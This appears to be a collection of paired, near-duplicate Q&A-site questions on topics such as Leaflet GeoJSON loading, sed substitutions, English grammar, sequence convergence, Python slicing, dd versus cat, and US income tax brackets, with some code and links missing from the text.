The answers I have tried prior to asking this question:            I have created a map using Leaflet and included GeoJSON data in the same directory as my program. I am testing this code by opening in both Firefox and Chrome, both show my map in the proper location, neither show the geometry of my features.  I am using a local file which can be seen in my script. Below is the relevant includes and code:   <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css">  <link rel="stylesheet" href="css/mapinfo.css">   <link rel="stylesheet"  href="https://unpkg.com/leaflet@1.6.0/dist/leaflet.css" /> <title>GeoArchive</title>    Code:

GeoHistory Archive

This is a guide to all historical events which took place in your selected area. Select a point on         the map to see if any events took place there!

         {{ search }}

{{ output }}

All Resources Attributed to Wikipedia & SFData

   I am attempting to use AJAX to load my GeoJSON layer onto 'map' but have continuously had no luck over the last week.  Is there anything obvious I could be doing wrong? I have seen that there may be a problem using a local file on the test server in Visual Studio Code, but I am testing via Firefox as well which has been stated does not suffer from that problem.  Below is the output given by my console upon running my code via flask which is my web framework for the overall application:  $ python main.py  * Serving Flask app "main" (lazy loading)  * Environment: production    WARNING: This is a development server. Do not use it in a production deployment.    Use a production WSGI server instead.  * Debug mode: off  * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) 127.0.0.1 - - [19/Dec/2019 17:02:46] "GET / HTTP/1.1" 200 - 127.0.0.1 - - [19/Dec/2019 17:02:46] "GET /css/mapinfo.css HTTP/1.1" 404 - 127.0.0.1 - - [19/Dec/2019 17:02:46] "GET /css/mapinfo.css HTTP/1.1" 404 -     Through suggestions in the comments below, I have narrowed down the problem using the Network Tab on the Google Chrome Developers tools (F12) to determine that my AJAX.js file is not being located on the webpage giving me the two following error codes:  ajax.js:1 Failed to load resource: the server responded with a status of 404  (NOT FOUND)  Uncaught TypeError: L.GeoJSON.AJAX is not a constructor at (index):58   This is a locally loaded file.

I'm a beginner in Leaflet and I need help to deal with GeoJSON files.  I succeeded in creating a Leaflet basemap. I can add markers without troubles but I cannot manage to show a GeoJSON layer.  Here is the code I picked up from Leaflet Tutorials website  :  var geojsonFeature = {     "type": "Feature",     "properties": {         "name": "Coors Field",         "amenity": "Baseball Stadium",         "popupContent": "This is where the Rockies play!"     },     "geometry": {         "type": "Point",         "coordinates": [-104.99404, 39.75621]     } }; L.geoJSON(geojsonFeature).addTo(map);   Unfortunatly, the GeoJSON does not appear in my map.   Can you tell me where I missed something ?    Alright, you're fine Francisco, this part was OK. I changed the whole script and it works !  However, would you know how to load a GeoJSON from an external source ?  I tried this :   var geojsonLayer = new L.GeoJSON.AJAX("foo.geojson");        geojsonLayer.addTo(map);   from   but this definitely does not work.  Any ideas ?    I am not skilled enough to understand your advice.  Here is the whole code I am using to create my map :  <!DOCTYPE html>   <title>data</title> <meta charset="UTF-8"> <link rel="stylesheet" href="https://unpkg.com/leaflet@1.0.3/dist/leaflet.css" />

      I know it's a bit messy but this is actually my very first HTML script... I guess I did not include in a proper way the AJAX library.    Actually, I just want a solution to replace the lines where I create the GeoJSON by something that tells javascript to load the GeoJSON stored locally in my folder. This :  var geojsonFeature = {     "type": "Feature",     "properties": {         "name": "Coors Field",         "amenity": "Baseball Stadium",         "popupContent": "This is where the Rockies play!"     },     "geometry": {         "type": "Point",         "coordinates": [-104.99404, 39.75621]     } };   should be transformed into something like (I don't know if it exists) :  var geojsonFeature = [foo.geosjon]   where "foo.geosjson" is a file like :  { "type": "FeatureCollection", "name": "abies", "crs": { "type": "name", "properties": { "name": "urn:ogc:def:crs:OGC:1.3:CRS84" } }, "features": [ { "type": "Feature"


What is the difference between farthermost and furthermost? In most cases, a quick Google search for the "word vs word" returns the answer on the first page. Not for this one.

I know I learned the difference between the usage of farther and further in school, but I can never remember where each one should be used.  Can someone help me out here?


Colloquially, people tend to speak in "shorter sentences" and leave out words like pronouns and verbs such as do, be and have, especially when it's clear who or what they're talking about. They might also omit whole phrases:     Do you want me to try getting the shelf off for you?    -------> Want me to try?   Another example:     Are you sure you've got time?    -------> Sure you got time?   Now, what are the shortened versions of the following sentences?     Would you like a drink?      Do you have any green tea?   Are they shortened in the same way as the examples below?     Do you want a drink?   -------> Want a drink?      Have you got any green tea?    -------> Got any green tea?

"Thought you'd never ask" is "I thought you'd never ask" with "I" omitted. "Hope this helps" is "I hope this helps" with "I" omitted.   In English grammar, normally every sentence should have a subject, right?   My first thought is that these two examples are so often used that they are like set phrases. But these are not really set phrases. You can alter the words after "thought" and "hope".  Another possible explanation is the tendency to drop the subject if it is the first person pronoun. It seems that in many languages, such as Spanish, Italian and Japanese, the first person subject is usually omitted. Maybe English is going the same way? (Not exactly the same, since in Italian, verb forms change according to the person, so the subject is not necessary to understand who one's referring to.)  And, apparently, such omission is more common in spoken English than in written English.  Are there more examples of such first person subject omission? How frequent is it?


Problem says to let $r>0$ and $a_0=\sqrt{r}$ and $a_n = \sqrt{r + a_{n-1}}$ for $n\ge1$  I know that $a_n$ is such that $a_0 < a_n < \sqrt{r} +1$ by showing   $a_1 = \sqrt{r+a_0} = \sqrt{r+\sqrt{r}} < \sqrt{r} +1$ and then using induction. But I'm not sure where to go from there.

(Fitzpatrick Advanced Calculus 2e, Sec. 2.4 #12)  For $c \gt 0$, consider the quadratic equation $x^2 - x - c = 0, x > 0$.  Define the sequence $\{x_n\}$ recursively by fixing $|x_1| \lt c$ and then, if $n$ is an index for which $x_n$ has been defined, defining  $$x_{n+1} = \sqrt{c+x_n}$$  Prove that the sequence $\{x_n\}$ converges monotonically to the solution of the above equation.  Note: The answers below might assume $x_1 \gt 0$, but they still work, as we have $x_3 \gt 0$.    This is being repurposed in an effort to cut down on duplicates, see here: .  and here: .


I am using sed command make substitution in the file. Assume my file1 is:  10 11 10 11   Then I want to substitute the 1st "10" in file1 to "12", and dump to file2. The file2 should be:  12 11 10 11   I tried this command:  sed 's/10/12/' file1 >file2   But it changed the 2nd "10" also. So, how can I write the sed command to do that?

I would like to update a large number of C++ source files with an extra include directive before any existing #includes. For this sort of task, I normally use a small bash script with sed to re-write the file.   How do I get sed to replace just the first occurrence of a string in a file rather than replacing every occurrence?  If I use  sed s/#include/#include "newfile.h"\n#include/   it replaces all #includes.   Alternative suggestions to achieve the same thing are also welcome.


I have I have some objects assembled like this :     The inertia tensor would be :  $$I=I_1+I_2+I_3-m_1 \,\tilde{r}_{01}\,\tilde{r}_{01}-m_3\,\,\tilde{r}_{03}\,\tilde{r}_{03}$$  Where :  $$\tilde{r}_{01}=\begin{bmatrix}    0 & -z & 0 \\    z & 0 & 0 \\    0 & 0 & 0 \\  \end{bmatrix}$$  and $$\tilde{r}_{03}=\begin{bmatrix}    0 & +z & 0 \\    -z & 0 & 0 \\    0 & 0 & 0 \\  \end{bmatrix}$$  According to .  Detailed notations .  But what is the inertia if -   I rotate the planar object on the very top(everything with it) around $Z$-axis Just rotate the rod and sphere (except the planar object), just like a pendulum. Let angle with $X$-axis is $\alpha$ and angle with $Y$-axis is $\beta$ Do both together

How can I calculate inertia tensor of composite shape. I have done math of moment of inertia, but not inertia tensor.   Can anyone help me with the calculation of this shape :


There is a table titled Project Results Framework. In one of its columns it says "Indicators", and in the row below that, it says this:     By the middle of 2011, analysis is finalized and up to date comprehensive   information about the potentials and deficiencies of the biosafety policy is available   Of course there are lots of other things with the same grammar in that column. All I want to know is the tense of this short paragraph.

By 2013 the theoretical and practical courses are organized   Is it already organized or is it about to get organized? I mean, is it past or future?


This is on C:  #include <stdio.h>  int main() {     int a=100,b;     b= (a>100)?a++:a--;     printf("%d %d\n",a,b); }   b assigned the value 100 but when trying   int main() {     int a=100,b;     b= (a>100)     printf("%d %d\n",a,b); }   b prints the value 1 as it returns true. why is it different when using '?:' operator?

Please demonstrate how the ternary operator works with a regular if/else block. Example:  Boolean isValueBig = value > 100 ? true : false;     Exact Duplicate:


At university I have got a problem set with lots of inequalities. Unfortunately there are no explanations given how to do them. In Highschool we only did very easy inequalities. Therefore I am looking for a resource for inequalities. Especially for more difficult inequalities like $$1 \leq z \overline {z} \leq 4 ,  |\Im(z)|<\Re (z),$$ where $z$ is a complex number.   I would be glad at any recommendations.

$1 \leq z \overline {z} \leq 4$ and $|\Im(z)|<\Re (z)$  How can I solve this system of inequalities? ($\Im$ is the imaginary part and $\Re$ is the real part of a complex number).  I have tried so far: $z=x+yi$ and then I get $1 \leq x^2+y^2 \leq 4$ and $ |y|<x$. How can I solve this?


Find value of $x$ for which $\displaystyle \lfloor \sin^{-1}(x)\rfloor >\lfloor \cos^{-1}(x)\rfloor,$ is    What I try $\displaystyle \sin^{-1}(x)\in \bigg[-\frac{\pi}{2},\frac{\pi}{2}\bigg]$ and $\displaystyle \cos^{-1}(x)\in [0,\pi]$  $\displaystyle \lfloor \sin^{-1}(x)\rfloor \in \{-2,-1,0,1,2\}$ and $\lfloor \cos^{-1}(x)\rfloor \in \{0,1,2,3\}$  $\bullet\; $ If $\lfloor \sin^{-1}(x)\rfloor =2\Rightarrow 2\leq \sin^{-1}(x)<3\Rightarrow \sin 2<x<\sin 3$  Then $\lfloor \cos^{-1}(x)\rfloor =0\Rightarrow 0\leq \cos^{-1}(x)<1\Rightarrow \cos 1<x\leq 1$  $\bullet\ \bullet  $ If $\lfloor \sin^{-1}(x)\rfloor =2\Rightarrow 2\leq \sin^{-1}(x)<3\Rightarrow \sin 2<x<\sin 3$  Then $\lfloor \cos^{-1}(x)\rfloor =1\Rightarrow 1\leq \cos^{-1}(x)<2\Rightarrow \cos 2<x\leq \cos 1$  $\bullet\;\bullet\bullet  $ If $\lfloor \sin^{-1}(x)\rfloor =1\Rightarrow 1\leq \sin^{-1}(x)<2\Rightarrow \sin 1<x<\sin 2$  Then $\lfloor \cos^{-1}(x)\rfloor =0\Rightarrow 0\leq \cos^{-1}(x)<1\Rightarrow \cos 1<x\leq 1$  How do I find common solution Help me please

My question: Find the solution set of $$\lfloor \sin^{-1}(x)\rfloor>\lfloor \cos^{-1}(x)\rfloor$$ Can anyone help me to solve this question? Graphically it seems to be more complicated.


Here am I again after successfully installing Ubuntu MATE 14.04 with the help of AskUbuntu (thanks a bunch!)  What am I trying to achieve now is the following:   Launch a Terminal with root privileges at startup Change the working directory to Desktop Execute Jar file with the "java -jar filename.jar" command   What is the easiest way to do this, preferably without installing any third parties?  EDIT: I am not only looking how to run a script at startup, but also launching a command line and executing a command.

I had a script that automatically enables my wifi without using networkmanager, but I don't know how to run the script as root while the system is booting. How do I make the script run automatically during boot?


I am working through "Galois Theory: Second Edition", by Ian Stewart and I came across the question in the title above. The solution that he provides is as follows: "2, 3, 4, 6, 8, 12, 24, and only these." I am really not quite sure how he got this. Any advice would be greatly appreciated.

I have a hard time formulating proofs.  For this problem, I  can see that if $n$ is equal to $8,$ this statement is true.  $(\mathbb{Z}/8\mathbb{Z})^{\times}$ includes elements:  $1,3,5,7$, and all of these are roots of $1-x^2 \pmod 8.$  And obviously $8$ divides $24.$  But how do I prove this without depending on number calculations and only using theorems?  Help Please?  I need a step by step walk through of how to do this proof and what theorems would be appropriate to use.


My GPU is intel HD 4400, i can play that game when my OS was win 10, but i can't play it on linux 16.04 TS. Anybody know how to fix it? Thanks.

Can .exe and .msi files (Windows software) be installed in Ubuntu?


The technology of Yorktown Station is much farther advanced than that of DS-9, which in turn was further advanced than that of the space station in The Trouble with Tribbles.  The difference -- Yorktown Station is in the alternate time-line.    What in-universe explanation accounts for the vastly advanced technology of the alternate universe?  The out-of-universe explanation -- that no one is going to see a new movie without a lot of new gee-whiz technology -- is pretty obvious. But the rationale?

Which reality has more advanced technology in the Star Trek universe, prime or alternate? It seems that the prime universe has more advanced technology in terms of sensors etc, but alternate pushes development of weapons etc, and has leaps in technology such as transwarp beaming.


I need to prove by induction that:  $$F_{n}\cdot F_{n+2}-({F_{n+1}})^2=(-1)^n$$  I did the following:   Check if the statement holds for $n=1$:   $$1\cdot 3-(2)^2=(-1)^1$$   Check if the statement holds for $n=p+1$:   $$F_{p+1}\cdot F_{p+3}-({F_{p+2}})^2=(-1)^{p+1}$$  I am having some troubles with this. I don't know how to continue.

Where $n \in \mathbb{N}$   and  $$ F_n = \begin{cases} 0                 & \text{ if } n = 0 \\ 1                 & \text{ if } n = 1 \\ F_{n-1} + F_{n-2} & \text{ if } n > 1 \end{cases} $$  This is basically describing the famous Fibonacci sequence.  If we try the base case with 1, it works (for $0$ I am not sure...)  When $n = 1$  $2 \cdot0 - 1^2 = (-1)^1 = -1$  For the inductive hypothesis, we assume this $F_{n+1} \cdot F_{n-1} - F^2_n = (-1)^n$ is true.  Now, for the inductive step, we try to prove for $n+1$, so for  $F_{n+2} \cdot F_{n} - F^2_{n+1} = (-1)^{n+1}$.  Since $n$ is always a natural number, and it will be always or even or odd, the $-1$ raised to $n$ will be always either $-1$ (when $n$ is odd) or $1$ (when $n$ is even).   Thus, $F_{n+1} \cdot F_{n-1} - F^2_n$ = -($F_{n+2} \cdot F_{n} - F^2_{n+1}$).  Or simply: $$ (-1)^n = -(-1)^{n+1} $$ $$ 1 \cdot (-1)^n = -(-1)\cdot(-1)^n $$ $$ 1 = -(-1) $$ Which is true.  I don't know if this is sufficient... I can arrive at the second step and say that we know this $(-1)^n$ is equals to $F_{n+1} \cdot F_{n-1} - F^2_n$, but I am not sure...


A friend gave me this integral and I am having nightmares since. The integral looks like:  $$\int_0^\infty \frac{\ln(1+x-\sqrt{2x})}{1+x^2}\ \mathrm dx$$  Mathematica gives a solution of $0$ but any procedure to get the result eludes me. I found a messy solution with substitutions and by parts( which I will probably add in an edit later because it's too messy to even write ).  A better ( preferably quicker ) solution using any method ( differentiation under integral sign, complex analysis, vector calculus etc ) would be rather helpful. Any input is appreciated!

Trying to compute   I was facing: \begin{align}J=\int_0^\infty \frac{\ln\left(1+x-\sqrt{2x}\right)}{1+x^2}\,dx\end{align}  I want to prove that $\displaystyle J=0$, or equivalently, that,  \begin{align}\int_0^1 \frac{\ln\left(1+x-\sqrt{2x}\right)}{1+x^2}\,dx=-\dfrac{1}{2}\text{G}\end{align}  $\text{G}$ being the Catalan constant.  Read carefully please.   I know, using so-called Feynman's trick, how to prove this. I would like to obtain a proof, using only integration by parts and change of variable in simple integrals (that is, no multiple integrals) I don't know, if, under these restrictions, such computation is possible.  NB: You're probably wondering what is the link between : $\int_{0}^{\frac{\pi}4} \ln(\sin{x}+\cos{x}+\sqrt{\sin{2x}})dx$ and $J$.  The link is, for $x\in\left[0;\frac{\pi}{2}\right]$, $(\sin{x}+\cos{x}+\sqrt{\sin{2x}})(\sin{x}+\cos{x}-\sqrt{\sin{2x}})=1$ and $\sin(2x)=2\sin x\cos x$


So i'm looking for sort of a layman/beginner explanation as to what this means:   L[i:i+lensub]   What does that mean by it's self? by the the way lensub = len(sublist) and L is list.

I need a good explanation (references are a plus) on Python's slice notation.   To me, this notation needs a bit of picking up.   It looks extremely powerful, but I haven't quite got my head around it.


BSD and GNU sed have some small differences in what arguments they accept. I just learned that I have to use different command lines when using -i:  sed -i '' # BSD sed -i    # GNU   I solved this with an IMO ugly hack involving storing the correct parameter in an environment variable.  Is there a nicer way to do that?

I'm writing shell scripts for my server, which is a shared hosting running FreeBSD. I also want to be able to test them locally, on my PC running Linux. Hence, I'm trying to write them in a portable way, but with sed I see no way to do that.  Part of my website uses generated static HTML files, and this sed line inserts correct DOCTYPE after each regeneration:  sed -i '1s/^/<!DOCTYPE html> \n/' ${file_name.html}   It works with GNU sed on Linux, but FreeBSD sed expects the first argument after -i option to be extension for backup copy. This is how it would look like:  sed -i '' '1s/^/<!DOCTYPE html> \n/' ${file_name.html}   However, GNU sed in turn expects the expression to follow immediately after -i. (It also requires fixes with newline handling, but that's already answered in )  Of course I can include this change in my server copy of the script, but that would mess i.e. my use of VCS for versioning. Is there a way to achieve this with sed in a fully portable way?


What is the difference between a gerund and present participle? When should we   use a gerund and when should we use a present participle ?

What is the difference between a gerund and a participle?


First of all,   I searched the question, and someone asked, I found its solution. But I think, that solution is not clear enough. Forvexample, there, the reason why the integral is zero is not explained. So I dont understand that solution. Therefore, I am asking again. sorry for   (Please dont downvote my question because of dublicate :)I just want to learn properly.    Please explain more clear. Thank you so much:)

Let $I$ b a generalized rectangle in $\Bbb R^n$   Suppose the bounded function $f:I\to \Bbb R$ assumes the value $0$ except at a single point $x \in I$   Show that $f$ is integrable and $\int_{I} f=0$     I think that   Let $\epsilon >0$   Let's choose a partition $$\vert \vert P\vert\vert ^n< \frac{\epsilon}{2\vert f(x)\vert} $$  and x contained in exactly one generalized rectangle in $P$.   I need to calculate $L(f,P)$ and $U(f,P)$.   How to calculate $L$ and $U$? Please help me for the evaluation. Thank you.


I have opened a number of web pages in  Google Chrome browser in  my android phone. Is it possible to conveniently save the urls of the opened webpages in ?  This is especially helpful on android phone, since google chrome browser there doesn't provide bookmarking all open webpages into the browser at once.  Thanks.

Chrome's sync feature isn't picking up all of the tabs open on my Android phone.  Are the tabs stored in a file somewhere that I can access?  My intention is to export the list of tabs so that I could run a factory reset on the device.  Running Android 4.3


I'm following along with a "learn R" course, and we ran the following multiple linear regression: regressor = lm(formula = Profit ~ ., data = training_set)  Then a bit later, we added some columns to a different data set: dataset$Level2 = dataset$Level^2 dataset$Level3 = dataset$Level^3 dataset$Level4 = dataset$Level^4  And ran identical line... regressor = lm(formula = Profit ~ ., data = training_set)  And somehow now lm knows not to fit a multiple regression linear line? It's modifying the original data set before it's even passed into lm, so unless lm is somehow trying to interpret my data to figure out which actual model to use, I don't see how it's knowing to do this...?

I have difficulties to grasp the shape of the confidence interval of a polynomial regression.  Here is an artificial example, $\hat{Y}=a+b\cdot X+c\cdot X^2$. The left figure depicts the UPV (unscaled prediction variance) and the right graph shows the confidence interval and the (artificial) measured points at X=1.5, X=2 and X=3.  Details of the underlying data:   the data set consists of three data points (1.5; 1), (2; 2.5) and (3; 2.5). each point was "measured" 10 times and each measured value belongs to $y \pm 0.5$. A MLR with a poynomial model was performed on the 30 resulting points. the confidence interval was computed with the formulas $$ UPV=\frac{Var[\hat{y}(x_0)]}{\hat{\sigma}^2}=x_0'(X'X)^{-1}x_0 $$ and $$ \hat{y}(x_0) - t_{\alpha /2, df(error)}\sqrt{\hat{\sigma}^2\cdot x_0'(X'X)^{-1}x_0}  $$ $$ \leq \mu_{y|x_0} \leq \hat{y}(x_0) + t_{\alpha /2, df(error)}\sqrt{\hat{\sigma}^2\cdot x_0'(X'X)^{-1}x_0}  . $$ (both formulas are taken from Myers, Montgomery, Anderson-Cook, "Response Surface Methodology" fourth edition, page 407 and 34)   $t_{\alpha /2, df(error)}=2$ and $ \hat{\sigma}^2=MSE=SSE/(n-p)\sim0.075 $ .  I am not particularly interested in the absolute values of the confidence interval, but rather in the shape of the UPV which only depends of $x_0'(X'X)^{-1}x_0$.  Figure 1:    the very high predicted variance outside the design space is normal because we are extrapolating but why is the variance smaller between X=1.5 and X=2 than on the measured points ?  and why does the variance gets wider for values over X=2 but then diminishes after X=2.3 to become again smaller than on the measured point at X=3?   Wouldn't it be logical for the variance to be small on the measured points and big between them ?  Edit: same procedure but with data points [(1.5; 1), (2.25; 2.5), (3; 2.5)] and [(1.5; 1), (2; 2.5),  (2.5; 2.2), (3; 2.5)].  Figure 2:   Figure 3:   It is interesting to note, that on figure 1 and 2, the UPV on the Points is exactly equal to 1. This means that the confidence interval will be precisely equal to $ \hat{y} \pm t_{\alpha /2, df(error)}\cdot \sqrt{MSE} $. With an increasing number of points (figure 3), we can get UPV-values on the measured points which are smaller than 1.


I’ve got a shapefile of Switzerland. Shown Polygons are 6-digit ZipCodes. Whenever I dissolve the file for example by 4-digit ZipCodes, it results in incorrect polygons.     Unfortunately some polygons borders aren't touching. If I zoom in on the orignal shapefile, it seems like there are empty spaces between the polygons.     I'm using QGIS and R and I've tried a lot. This is my first time using GIS data.

Is there an option in QGIS to fill holes in polygons automatically by setting parameters e.g. maximum area, distance between borderlines? I want to delete/fill holes that a very "thin"/small.


I often use dd when I for example want to copy an image to a usb drive. I only do dd if=infile of=/dev/sdb. Is there any advantage to this over < infile > /dev/sdb? And is this the exact same as pv infile > /dev/sdb?

I recently realized we can use cat as much as dd, and it's   I know that dd was useful in dealing with tapes where block size actually mattered in correctness, not just performance. In these days, though, are there situations where dd can do something cat can't? (Here I would regard a less than 20% performance difference irrelevant.)  Concrete examples would be nice!


in the course of Algebra I studied the primary ideals, an ideals $I$ of a commutative ring with identy is called primary if $ab \in I$ and $a\notin I$ implies that $ \exists n \in \mathbb{Z}$ such that $b^n \in I$. It is evident that prime implies primary, I'm looking for an example that shows that the opposite is not true.

Let $R=\mathbb{Z}$ I must prove that      In $\mathbb{Z}$ the primary ideals s are precisely the ideals $(p^k)$ where $p$ is a prime number and $n\ge 1$.   $$$$ The definition of primary ideal.     Definition. An ideal $I$ of the ring $R$ is called primary if for all $a,b\in R$ $$(ab\in I\quad\text{and}\quad a\notin I)\Rightarrow b^n\in I, \text{for some positive integer $n$}.$$   Therefore I must prove that      $$(n)\;\text{is primary in}\;\mathbb{Z}\iff n=p^k, k\ge1,p\ge2,\;\text{where}\;p\;\text{is a prime}.$$   Proof ($\Leftarrow$) We suppose that $n=p^k$ for same prime $p$ and $k\ge 1$. Let $a,b\in\mathbb{Z}$ such that $ab\in(p^k)$ and $a\notin (p^k)$. Then $p^k\nmid a$, but $p^k \mid ab$ I no longer know how to proceed.  $(\Rightarrow)$ Let $(n)$ a primary ideal and we suppose for absurd that $n$ is not a power of a prime, then? how could I proceed?  Now, let $ab\in (p^k)$ with $a\notin(p^k)$, then $p^k\mid ab.$ Can I conclude that $p^k\mid b$?   How can I set up the other implication? Thanks


How can we say that a proton has some size? How is done that we can determine those things for any sub-atomic patricles? And does is include uncertainty principle?

What is the size of atomic and subatomic particles, like proton, neutron, photon etc? Is it defined based on some quantum characterics as de Broglie wavelength or Compton wavelength?


Why is the tension in the string different in the diagram below? Why can't we use the same tension for both the strings as we usually do in Atwood system?

Working a problem with 2 pulleys and masses in class this week the professor at one point assumed that the tension on the two sides of a pulley would be different.  Every other time we've done a similar problem, we just assumed that the tension would be the same on both sides.  And I didn't understand his explanation of why we had to do it that way this time.  My question is when can we assume the tension on both sides of a rope are the same and when do we need to assume different tensions?


private static class FilterByStringContains implements Predicate<String> {         private String filterString;         private FilterByStringContains(final String filterString) {             this.filterString = filterString;         }         @Override         public boolean apply(final String string) {             return string.contains(filterString);         }     }   I have a list of Strings, I want to filter it by the specified String so the returned value contains a list of only the specified strings. I was going to use a predicate as above but not sure how to apply this to filter a list

I want to filter a java.util.Collection based on a predicate.


Please check screen shot below:   I am not the owner of the question and the owner has accepted an answer still when I am viewing this question I am getting an option to start a bounty.  I am confused:   Why bounty option is there when answer has been accepted? Why it showing to me as I am not the owner of the question? (Is it something related to points I have? If yes then why only on this question?)

It's possible to offer and award bounties of reputation on questions.   What is a bounty? How can I find questions that have a bounty attached? How do I start a bounty? When can I start a bounty? Why is the system requiring me to choose a bounty amount that's higher than the minimum? Can I use Markdown formatting in the bounty remarks? Can I edit the remark? How long is the bounty period? How do I award a bounty? Can I award a bounty to my own answer? Can I award a bounty to an old answer? If I offer a bounty on someone else's question, can I award the bounty to their answer? After awarding the bounty, can I remove it or move it to another answer at a later time? What happens if there's no answer after the bounty period? What happens if I feel my question is still unanswered? What is automatic awarding? Are bounty awards exempt from the 200 points/day reputation limit? How does Community Wiki mode affect bounties? How does user deletion or post dissociation affect bounties? Can I award a bounty to an answer from a deleted user or one where the author was dissociated? Can I offer a second bounty after the first one has expired? Can I raise my bounty? What happens if a bounty question is closed or deleted? Why can't I vote to close or migrate a bounty question? What happens if I delete my account while I have an active bounty? Do I keep an awarded bounty when I delete my answer? What happens if a question where I awarded a bounty later gets deleted or migrated? Can I cancel my bounty? Can I affect / divide / share part of my bounty to two (or more) users? How many outstanding bounties can a single user have?      See also:  in the Help Center


What is the difference between  [Flags]     public enum AnswerFlags     {     A = (1 << 2),     B = (1 << 1),     C = (1 << 0)     }   and     public enum AnswerFlags         {         A = 4,         B = 2,         C = 1         }   And why should i work with bits instead of integers?

From time to time I see an enum like the following:  [Flags] public enum Options  {     None    = 0,     Option1 = 1,     Option2 = 2,     Option3 = 4,     Option4 = 8 }   I don't understand what exactly the [Flags] attribute does.  Anyone have a good explanation or example they could post?


I'm citing an in-text reference using natbib and a Harvard-style. The way I've constructed the sentence indicates possession, for example:      Smith et al.'s (2009) recent study ...   What I get when using \citet{} is:     Smith et al. (2009) recent study ...   Is there a way to add the apostrophe and s in this context? I tried placing it in the square brackets \citet[][]{} but that doesn't work.

Is there an automatic way to attach a genitive apostrophe or " ' s " to an author's name?  Currently I use:  \citeauthor{kuran1989}'s \citeyear{kuran1989}   But since this comes up regularily I'd like to know whether there's a general solution.


If there is a community wiki post, does it come under the same attribution rules?  Or is there no need for me to link back to it?

The  makes use of the term "the author."  When Bob makes a post, it's obvious Bob "owns" the content, but what happens when he checks the Community Wiki button? Does it become the property of the Stack Overflow community? Even if Bob is the only one to have edited it?  Say I were to use a Community Wiki answer for something or other — say, in a book — who would I attribute the content to?


One can understand the concept of natural power, as $x^n$, being a product of a number by itself $n$ times: $$x^n=\underbrace{x\cdot x\cdot\dotsb\cdot x}_n$$  We can also get the idea of a rational power, $x^{\frac{p}{q}}=\sqrt[q]{x^p}$ , looking for the $q$-th root of a number, where $q$ is a integer, so it is the same idea as a power of a natural number.  But how can we understand a power of a irrational number $x^r$? Of course we can define it as the limit of the power of the rational number who is tending to the number $r$, but is there a better more intuitive way of explaining this, staying with the number $r$, instead of its approximation?

Is there an intuitive definition of exponentiation?  In elementary school, we learned that  $$ a^b = a \cdot a \cdot a \cdot a \cdots (b\ \textrm{ times}) $$ where $b$ is an integer.  Then later on this was expanded to include rational exponents, so that  $$ a^{\frac{b}{c}} = \sqrt[c]{a^b} $$  From there we could evaluate decimal exponents like $4^{3.24}$ by first converting to a fraction.  However, even after learning Euler's Identity, I feel as though there is no discussion on what exponentiation really means. The definitions I found are either overly simplistic or unhelpfully complex. Once we stray from the land of rational powers into real powers in general, is there an intuitive definition or explanation of exponentiation?  I am thinking along the lines of, for example, $2^\pi$ or $3^{\sqrt2}$ (or any other irrational power, really). What does this mean? Or, is there no real-world relationship?  To draw a parallel to multiplication:  If we consider the expression $e\cdot \sqrt5$, I could tell you that this represents the area of a rectangle with side lengths $e$ cm and $\sqrt5$ cm. Or maybe $e \cdot \pi$ is the cost of $\pi$ kg of material that costs $e$ dollars per kg. Of course these quantities would not be exact, but the underlying intuition does not break down. The idea of repeated addition still holds, just that fractional parts of terms, rather than the entire number, are being added.  So does such an intuition for exponentiation exist? Or is this one of the many things we must accept with proof but not understanding?  This question stems from trying to understand complex exponents including Euler's identity and $2^i$, but I realized that we must first understand reals before moving on the complex numbers.


I am working on an app where i need to add users dynamically from UI and delete them if required.  Adding users is working fine but deleting i am finding it difficult. I tried to recreate the scenario in jsfiddle.net   code   <input type="text" class="txtadd"> <button class="btnadd"> Add </button>

  ul{   list-style:none; }  .del{   cursor:pointer; }  $(document).ready(function(){ $('.btnadd').click(function(e){     var txt=$('.txtadd').val();   $('.items').append('
'+txt+'
');   $('.txtadd').val(''); });  $('.del').on('click',function(e){     alert('hi');   $('this').remove(); }); })

I have a bit of code where I am looping through all the select boxes on a page and binding a .hover event to them to do a bit of twiddling with their width on mouse on/off.  This happens on page ready and works just fine.  The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound.  I have found this plugin (), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.


I want to create this equation in overleaf:  Here is my code trying to do so: \begin{equation} \textit{S = \dfrac{R - U}{1 - U}} \end{equation}  However, I get this:  It seems to be some sort of infinite recursion, and if you look closely, the (2) marking that this is the second equation is all the way at the end. Any thoughts on how to fix this? I'm sure I'm just missing something small. Thanks.

When I use \texttt with the caret symbol in an amsmath equation environment, I get a very weird result. Specifically, the text repeats itself four times while shrinking.  MWE:  \documentclass{article} \usepackage{amsmath}  \begin{document}  \begin{equation*}     \texttt{y^o} \end{equation*}  \end{document}   Compiling this document with pdflatex produces the following result:    The same result occurs even if I remove the o character. To fix it I could modify the offending line to \texttt{y$^o$}, but why is this repeating happening in the first place?


I wanted to install cx_freeze or pyInstaller for running my python game also on cross platforms without the need of having installed python3 and pygame. But the command sudo pip install cx_freeze (or pyInstaller) as indicated on their makers webpages doesn't work for me. The error that always occurs then is the following:  The directory '/home/h3friend/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. The directory '/home/h3friend/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.  Has anyone an idea what I need to do in order to fix this?  Thanks in advance!

What does this warning mean? I got it when executing following command using root at amazon ec2 Ubuntu 14.04 LTS instance:  $ pip install https://github.com/troeger/opensubmit/archive/0.6.2.tar.gz The directory '/home/ubuntu/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. The directory '/home/ubuntu/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.


let’s say I make over $500k, the income tax in US is 37% I was just wondering, does that mean the 37% (which is $185k) is just lost?  So a person would give almost half their income to the government and that’s it,  it’s gone?  I’m a bit new to income tax especially in US and Google brings up information not relevant to my question.  Thanks.  EDIT: Okay I got what you’re saying, I’ve got enough information on this.

General question here about US personal income federal tax rates.  Is it a cumulative effect where your income is first taxed at the lower tranches and move up, or is it one specific percent for your entire taxable income?


